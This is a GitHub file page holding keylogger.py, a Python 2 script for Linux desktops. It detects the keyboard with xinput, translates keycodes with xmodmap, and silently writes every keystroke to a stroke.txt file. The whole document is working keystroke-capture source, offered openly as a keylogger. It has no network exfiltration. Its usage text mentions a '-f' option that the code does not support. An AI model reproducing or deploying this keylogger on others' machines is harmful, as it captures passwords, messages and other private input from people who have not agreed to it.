-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger.py
137 lines (109 loc) · 3.2 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re, collections
import sys
import getopt
from subprocess import *
import os,sys,subprocess,threading
import time, datetime
def call_and_peek_output(cmd, shell=False):
import pty, subprocess
master, slave = pty.openpty()
print cmd
p = subprocess.Popen(cmd, shell=shell, stdin=None, stdout=slave, close_fds=True)
os.close(slave)
line = ""
i=0
while True:
try:
ch = os.read(master, 1)
except OSError:
break
line += ch
if ch == '\n' :
yield line
line = ""
if line:
yield line
ret = p.wait()
if ret:
raise subprocess.CalledProcessError(ret, cmd)
def sanitize_keybinding(binding):
d = {'space': ' ',
'apostrophe': "'",
'BackSpace': ' (<-)',
'Return': '↵ \n',
'period': '.',
'Shift_L1': ' (shift1) ',
'Shift_L2': ' (shift2) '}
if binding in d:
return d[binding]
else:
return binding
def get_keymap():
keymap = {}
table = Popen("xmodmap -pke", shell=True, bufsize=1, stdout=PIPE).stdout
for line in table:
m = re.match('keycode +(\d+) = (.+)', line.decode())
if m and m.groups()[1]:
keymap[m.groups()[0]] = sanitize_keybinding(m.groups()[1].split()[0])
return keymap
def find_keyb():
for line in call_and_peek_output(['xinput list &'], shell=True):
if "AT Translated" in line and "keyboard" in line:
m_obj=re.search(r"id=.\b", line)
if m_obj.group(0)[-3] == '=':
ident=m_obj.group(0)[-2:]
else:
ident=m_obj.group(0)[-1:]
return (ident)
def keylogger(path, dev_id):
if path[-1]=='/':
path += 'stroke.txt'
else:
path += '/stroke.txt'
counts = collections.defaultdict(lambda : 0)
output = []
keymap = get_keymap()
f=open(path, 'wb')
ts=time.time()
st = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
f.write("Logging started at: "+st+'\n')
f.close()
try:
cmd='xinput test '+str(dev_id)+' &'
for line in call_and_peek_output([cmd], shell=True):
f=open(path,'a')
m = re.match('key press +(\d+)', line.decode())
if m:
keycode = m.groups()[0]
counts[keycode] += 1
output.append(keycode)
if keycode in keymap:
f.write(str(keymap[keycode]))
else:
f.write('?')
f.close()
except KeyboardInterrupt:
#print(output)
print("---------------------")
def main(argv):
try:
opts, args = getopt.getopt(argv, "hp:", ["help", "path="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if not opt in ("-p", "--path"):
usage()
sys.exit()
else:
path=arg
dev_id=find_keyb()
keylogger(path,dev_id)
def usage ():
print "Usage: python "+str(sys.argv[0])+ " [-h | --help] [-f | --file]"
print " -h | --help : Display this message"
print " -p | --path : Path where stroke.txt is stored"
if __name__ == '__main__':
main(sys.argv[1:])